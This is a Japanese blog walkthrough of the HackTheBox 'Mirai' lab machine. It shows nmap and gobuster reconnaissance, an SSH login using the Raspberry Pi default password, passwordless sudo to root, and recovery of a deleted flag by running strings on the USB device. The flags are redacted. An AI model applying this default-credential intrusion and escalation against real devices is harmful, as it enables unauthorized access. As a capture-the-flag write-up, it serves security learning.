🔥

HackTheBox Mirai

2022/09/19に公開

Mirai

侵入

nmap

ポートスキャン

┌──(kali㉿kali)-[~/Desktop/Mirai]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.48 -oN nmap.log
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey: 
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
53/tcp    open  domain  syn-ack ttl 63 dnsmasq 2.76
| dns-nsid: 
|_  bind.version: dnsmasq-2.76
80/tcp    open  http    syn-ack ttl 63 lighttpd 1.4.35
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
2045/tcp  open  upnp    syn-ack ttl 63 Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open  http    syn-ack ttl 63 Plex Media Server httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-favicon: Plex
|_http-title: Unauthorized
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
32469/tcp open  upnp    syn-ack ttl 63 Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50

22、53、80、2045、32400、32469番ポートを確認

web

80番はアクセスできなかったため、32400番にアクセスしてみる

ログイン画面を確認。Burp suite により Plex 3.9.1であることも確認できた。

gobuster

ディレクトリ探索を行う

┌──(kali㉿kali)-[~/Desktop/Mirai]
└─$ gobuster dir -u http://10.10.10.48/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log                     
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.48/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/09/19 15:33:55 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 301) [Size: 0] [--> http://10.10.10.48/admin/]
/swfobject.js         (Status: 200) [Size: 61]                               
===============================================================
2022/09/19 15:36:31 Finished
===============================================================

admin を発見

admin


Pi-hole の admin console が表示された

ログイン画面も発見。バージョンが 3.1.4 であることも確認できた

pi としてのシェル

SSH

特に有力な情報を得ることができなかったので、pi-hole のデフォルトパスワードを試してみる

┌──(kali㉿kali)-[~/Desktop/Mirai]
└─$ ssh pi@10.10.10.48                     
pi@10.10.10.48's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 27 14:47:50 2017 from localhost

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.


SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

pi@raspberrypi:~ $ whoami
pi

SSH 接続が成功した

user フラグ

pi@raspberrypi:~/Desktop $ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得

権限昇格

sudo

pi@raspberrypi:~/Desktop $ sudo -l
Matching Defaults entries for pi on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pi may run the following commands on localhost:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL

sudo が実行できた

root としてのシェル

su

pi@raspberrypi:~ $ sudo su
root@raspberrypi:/home/pi# whoami
root

権限昇格成功

USB

root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...

root.txt を失ってしまったらしい。USB にバックアップがあるとのこと
USB を接続する際は、/media にマウントされるので、/media にアクセスしてみる

root@raspberrypi:/media# ls -l
total 1
drwxr-xr-x 3 root root 1024 Aug 14  2017 usbstick
root@raspberrypi:/media# cd usbstick
root@raspberrypi:/media/usbstick# ls -l
total 13
-rw-r--r-- 1 root root   129 Aug 14  2017 damnit.txt
drwx------ 2 root root 12288 Aug 14  2017 lost+found

damnit.txt を発見

root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

-James

どうやら、USB メモリからもファイルを削除してしまったようだ

lsblk

こういう時は、デバイスファイルを確認

root@raspberrypi:~# lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   10G  0 disk 
├─sda1   8:1    0  1.3G  0 part /lib/live/mount/persistence/sda1
└─sda2   8:2    0  8.7G  0 part /lib/live/mount/persistence/sda2
sdb      8:16   0   10M  0 disk /media/usbstick
sr0     11:0    1 1024M  0 rom  
loop0    7:0    0  1.2G  1 loop /lib/live/mount/rootfs/filesystem.squashfs

usbstick は sdb として扱われることがわかる

root フラグ

あとは、strings または hexdump を使用し、フラグを取得する

root@raspberrypi:~# strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # フラグ
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James

フラグ取得成功

所感

今回のボックスは、Mirai というマルウェアが関係していたようだ。当マルウェアは、IoT デバイスの初期設定が主因となっていたので、今回のボックスでも raspberrypi の初期パスワードが使われたのだろう。あまり初期パスワードで、認証を突破できる機会は少ないかもしれないが、見落とさず、しっかりと確認していくように心がけたい。

Discussion